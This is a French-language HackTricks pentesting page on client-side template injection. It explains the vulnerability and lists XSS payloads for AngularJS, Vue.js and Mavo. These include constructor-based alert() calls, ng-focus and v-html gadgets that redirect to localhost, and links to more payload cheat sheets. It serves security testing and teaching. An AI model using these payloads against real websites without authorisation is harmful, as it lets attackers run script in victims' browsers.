hacktricks/pentesting-web/client-side-template-injection-csti.md

6.9 KiB

Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!

Autres moyens de soutenir HackTricks :

Résumé

C'est comme une Injection de Template Côté Serveur mais côté client. L'SSTI peut vous permettre d'exécuter du code sur le serveur distant, le CSTI pourrait vous permettre d'exécuter du JavaScript arbitraire dans la victime.

La manière de tester cette vulnérabilité est très similaire à celle de l'SSTI, l'interpréteur va s'attendre à quelque chose à exécuter entre doubles accolades et l'exécutera. Par exemple en utilisant quelque chose comme : {{ 7-7 }} si le serveur est vulnérable vous verrez un 0 et sinon vous verrez l'original : {{ 7-7 }}

AngularJS

AngularJS est une bibliothèque JavaScript populaire, qui analyse le contenu des nœuds HTML contenant l'attribut ng-app (également connu sous le nom de directive AngularJS). Lorsqu'une directive est ajoutée au code HTML, vous pouvez exécuter des expressions JavaScript à l'intérieur des doubles accolades.
Par exemple, si votre entrée est reflétée à l'intérieur du corps du HTML et que le corps est défini avec ng-app: <body ng-app>

Vous pouvez exécuter du code JavaScript arbitraire en utilisant des accolades en ajoutant au corps :

{{$on.constructor('alert(1)')()}}
{{constructor.constructor('alert(1)')()}}
<input ng-focus=$event.view.alert('XSS')>

<!-- Google Research - AngularJS -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>

Vous pouvez trouver un exemple en ligne très basique de la vulnérabilité dans AngularJS sur http://jsfiddle.net/2zs2yv7o/

{% hint style="danger" %} Angular 1.6 a supprimé le sandbox donc à partir de cette version, un payload comme {{constructor.constructor('alert(1)')()}} ou <input ng-focus=$event.view.alert('XSS')> devrait fonctionner. {% endhint %}

VueJS

Vous pouvez trouver une implémentation vulnérable de vue.js sur https://vue-client-side-template-injection-example.azu.now.sh/
Payload fonctionnel : https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%

Et le code source de l'exemple vulnérable ici : https://github.com/azu/vue-client-side-template-injection-example

<!-- Google Research - Vue.js-->
"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>

Un excellent article sur le CSTI dans VUE est disponible sur https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets

V3

{{_openBlock.constructor('alert(1)')()}}

Credit: Gareth Heyes, Lewis Ardern & PwnFunction

V2

{{constructor.constructor('alert(1)')()}}

Crédit : Mario Heiderich

Consultez plus de charges utiles VUE sur https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected

Mavo

Charge utile :

[7*7]
[(1,alert)(1)]
<div mv-expressions="{{ }}">{{top.alert(1)}}</div>
[self.alert(1)]
javascript:alert(1)%252f%252f..%252fcss-images
[Omglol mod 1 mod self.alert (1) andlol]
[''=''or self.alert(lol)]
<a data-mv-if='1 or self.alert(1)'>test</a>
<div data-mv-expressions="lolx lolx">lolxself.alert('lol')lolx</div>
<a href=[javascript&':alert(1)']>test</a>
[self.alert(1)mod1]

Plus de payloads sur https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations

Liste de Détection par Force Brute

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}

Apprenez le hacking AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!

Autres moyens de soutenir HackTricks :